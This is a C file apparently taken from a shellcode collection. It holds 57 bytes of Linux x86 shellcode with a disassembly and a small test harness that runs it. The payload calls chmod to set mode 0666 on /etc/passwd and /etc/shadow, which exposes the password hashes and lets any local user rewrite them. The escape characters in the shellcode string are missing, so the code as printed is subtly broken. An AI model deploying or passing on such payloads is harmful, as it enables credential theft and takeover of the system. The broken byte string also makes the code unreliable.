/*
Title:	Linux x86 chmod 666 /etc/passwd & /etc/shadow - 57 bytes
Author:	Jean Pascal Pereira <pereira@secbiz.de>
Web:	http://0xffe4.org


Disassembly of section .text:

08048060 <_start>:
 8048060:       31 c0                   xor    %eax,%eax
 8048062:       66 b9 b6 01             mov    $0x1b6,%cx
 8048066:       50                      push   %eax
 8048067:       68 73 73 77 64          push   $0x64777373
 804806c:       68 2f 2f 70 61          push   $0x61702f2f
 8048071:       68 2f 65 74 63          push   $0x6374652f
 8048076:       89 e3                   mov    %esp,%ebx
 8048078:       b0 0f                   mov    $0xf,%al
 804807a:       cd 80                   int    $0x80
 804807c:       31 c0                   xor    %eax,%eax
 804807e:       50                      push   %eax
 804807f:       68 61 64 6f 77          push   $0x776f6461
 8048084:       68 2f 2f 73 68          push   $0x68732f2f
 8048089:       68 2f 65 74 63          push   $0x6374652f
 804808e:       89 e3                   mov    %esp,%ebx
 8048090:       b0 0f                   mov    $0xf,%al
 8048092:       cd 80                   int    $0x80
 8048094:       31 c0                   xor    %eax,%eax
 8048096:       40                      inc    %eax
 8048097:       cd 80                   int    $0x80



*/

#include <stdio.h>

char shellcode[] = "x31xc0x66xb9xb6x01x50x68x73x73x77x64"
                   "x68x2fx2fx70x61x68x2fx65x74x63x89xe3"
                   "xb0x0fxcdx80x31xc0x50x68x61x64x6fx77"
                   "x68x2fx2fx73x68x68x2fx65x74x63x89xe3"
                   "xb0x0fxcdx80x31xc0x40xcdx80";


int main()
{
  fprintf(stdout,"Lenght: %dn",strlen(shellcode));
  (*(void  (*)()) shellcode)();
}